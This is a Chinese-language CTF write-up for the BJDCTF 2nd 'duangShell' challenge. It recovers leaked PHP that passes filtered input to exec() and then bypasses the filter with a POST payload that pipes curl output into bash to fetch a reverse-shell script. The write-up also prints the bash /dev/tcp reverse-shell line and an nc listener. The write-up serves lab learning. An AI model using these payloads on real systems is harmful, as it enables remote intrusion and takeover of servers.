[BJDCTF 2nd]duangShell

点击进去之后提示我们swp源代码泄露，访问http://xxx/.index.php.swp下载该文件

该文件产生的原因是：​使用vi编辑器打开文件时，会生成一个.文件名.swp的备份文件，防止意外退出等情况导致文件内容丢失。产生原因主要是管理员在web目录下修改代码文件，导致生成了.swp备份文件。

我们使用vim -r 文件名 来恢复内容，然后按下任意键就可以看到其中的代码了。

windows下我在git命令行里面进行操作的，

源代码如下：

</head>

<body>

    <center><h1>珍爱网</h1></center>

</body>

</html>

<?php

error_reporting(0);

echo "how can i give you source code? .swp?!"."<br>";

if (!isset($_POST['girl_friend'])) {

    die("where is P3rh4ps's girl friend ???");

} else {

    $girl = $_POST['girl_friend'];

    if (preg_match('/\>|\\\/', $girl)) {

        die('just girl');          {

    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {

}      {echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";

    } else {

        //duangShell~~~~

        exec($girl);

    }

}

~

}

　　观察源代码之后发现是绕过过滤之后命令执行的题目

因为过滤了$符号，所以不能采用这种黑名单拼接的方式绕过

a=ca;b=t;c=flag;$ab $c

　　禁用了base64之后不能使用base64编码绕过

`echo "Y2F0IGZsYWc="|base64 -d`

　　又想了一些奇怪的姿势，着实不行，看师傅们的博客吧。

这道题用到的是反弹shell，又涨知识了，关于反弹shell可以看先知上的这两篇文章：

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549

接着我们申请一个小号，在basic开启一台内网主机，默认好像apache服务已经开启了，在/var/www/html 下写入反弹shell

bash -i >& /dev/tcp/[ip]/[port] 0>&1

　　这里的ip是内网主机的ip，使用ifconfig可以查看,port自己指定，我这里使用的是4444

接着监听本地的4444端口

nc -lvvp 4444

　　在题目珍爱网界面，POST数据为：

girl_friend=curl http://[ip]/[文件名]|bash

　　

ip是内网主机的IP，文件名是在html文件夹下写入的反弹shell的文件名，我这里是shell.txt

因为题目没有禁止curl，让珍爱网题目PHP代码里的exec执行curl访问内网靶机的写有反弹shell命令的文件，使内网靶机获取到反弹shell。

获取到反弹shell之后，题目靶机根目录下有假的flag文件

使用linux 的find命令查找flag

find / -name *flag*

　　等待一会就能看到真实flag所在的位置了，然后cat查看一下就能获取flag

获得flag

学习了反弹shell的一些操作

参考博客：

https://blog.csdn.net/qq_40648358/article/details/105011659

https://www.cnblogs.com/gaonuoqi/p/12602309.html

https://www.cnblogs.com/Konmu/p/12549038.html#bjdctf-2ndduangshell

[BJDCTF 2nd]duangShell的更多相关文章

  1. [BJDCTF 2nd]duangShell 反弹shell

    [BJDCTF 2nd]duangShell   [BJDCTF 2nd]duangShell 点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件 ...

  2. [BJDCTF 2nd]fake google

    [BJDCTF 2nd]fake google 进入页面: 试了几下发现输入xxx,一般会按的格式显示, P3's girlfirend is : xxxxx 然后猜测会不会执行代码,发现可以执行 & ...

  3. BUUOJ [BJDCTF 2nd]elementmaster

    [BJDCTF 2nd]elementmaster 进来就是这样的一个界面,然后就查看源代码 转换之后是Po.php,尝试在URL之后加上看看,出现了一个“.“ ....... 迷惑 然后看了wp 化 ...

  4. [BJDCTF 2nd]文件探测

    [BJDCTF 2nd]文件探测 这两天刷题碰到了一道稍微有难度的题,记录一下,有一些点是未被掌握到的. home.php: <?php setcookie("y1ng", ...

  5. [BJDCTF 2nd]xss之光

    [BJDCTF 2nd]xss之光 进入网址之后发现存在.git泄露,将源码下载下来,只有index.php文件 <?php $a = $_GET['yds_is_so_beautiful']; ...

  6. [BJDCTF 2nd]Schrödinger && [BJDCTF2020]ZJCTF，不过如此

    [BJDCTF 2nd]Schrödinger 点进题目之后是一堆英文,英语不好就不配打CTF了吗(流泪) 复制这一堆英文去谷歌翻译的时候发现隐藏文字 移除test.php文件,访问test.php ...

  7. [BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip

    [BJDCTF2020]Mark loves cat 源码泄露 使用GitHack.py下载源码 下载之后对源代码进行审计 flag.php代码为: <?php $flag = file_get ...

  8. [BJDCTF 2nd]假猪套天下第一 && [BJDCTF2020]Easy MD5

    [BJDCTF 2nd]假猪套天下第一 假猪套是一个梗吗? 进入题目,是一个登录界面,输入admin的话会返回错误,登录不成功,其余用户可以正常登陆 以为是注入,简单测试了一下没有什么效果 抓包查看信 ...

  9. [BJDCTF 2nd]old-hack && [GXYCTF2019]禁止套娃

    [BJDCTF 2nd]old-hack 页面很有意思 同时也告诉了我们是THINKPHP5,我们只需要寻找THINKPHP5的漏洞就可以了. https://www.codercto.com/a/5 ...

随机推荐

  1. Pandas_VBA_数据筛选比较

    Pandas与VBA筛选数据的比较 Author:Collin_PXY 需求: 将B列里值为Completed 和 Pending的A,B,D三列数据筛选出来,新建一个名为 Filited_data的 ...

  2. maven profile filter 线上线下分开打包配置

    maven自动选择不同的配置文件打包profile+filter 1. profile: [要点:] activeByDefault默认激活,不用再mvn命令时指定额外参数: [注意:] 使用非默认的 ...

  3. Spring源码之FactoryBean的实现

    https://zhuanlan.zhihu.com/p/97005407 https://blog.csdn.net/qq_35634181/article/details/104507465 总结 ...

  4. 处理ceph incompelete的经验

    前言 最近已经见到几个环境出现过incompelete了,这个在很久以前Jewel正在合入mark-complete工具的时候就有做过类似的处理,但是随着处理的环境越来越多,这个地方还是有些需要注意的 ...

  5. Function（函数分享）第二节

    一.类型注解 1.1 类型注解 函数的类型注解分为两个部分:参数类型注解和返回值类型注解.其中返回值类型注解有时候我们可以直接省略,因为Typescript可以根据返回的语句来自动判断出返回值的类型. ...

  6. Python博文_爬虫工程师是干什么的

    程序员有时候很难和外行人讲明白自己的工作是什么,甚至有些时候,跟同行的人讲清楚"你是干什么的"也很困难.比如我自己,就对Daivd在搞的语义网一头雾水.所以我打算写一篇博客,讲一下 ...

  7. 04、MyBatis DynamicSQL(Mybatis动态SQL)

    1.动态SQL简介 动态 SQL是MyBatis强大特性之一. 动态 SQL 元素和使用 JSTL 或其他类似基于 XML 的文本处理器相似. MyBatis 采用功能强大的基于 OGNL 的表达式来 ...

  8. redhat-NFS服务的配置与应用

    ---恢复内容开始--- 1.NFS服务简述 NFS实现Windows系统中资源共享的功能.NFS采用客户/服务器工作模式,客户端将服务器中的共享目录挂载到自己的某个目录下,这个目录可以与其他客户机的 ...

  9. 痞子衡嵌入式：揭秘i.MXRT600的ISP模式下用J-Link连接后PC总是停在0x1c04a的原因(Debug Mailbox)

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是i.MXRT600中的Debug Mailbox实现对JLink调试的影响. 事情缘起痞子衡的同事 - 喜欢打破砂锅问到底的Kerry小 ...

  10. java开发两年，这些线程知识你都不知道，你怎么涨薪？

    前言 什么是线程:程序中负责执行的哪个东东就叫做线程(执行路线,进程内部的执行序列),或者说是进程的子任务. Java中实现多线程有几种方法 继承Thread类: 实现Runnable接口: 实现Ca ...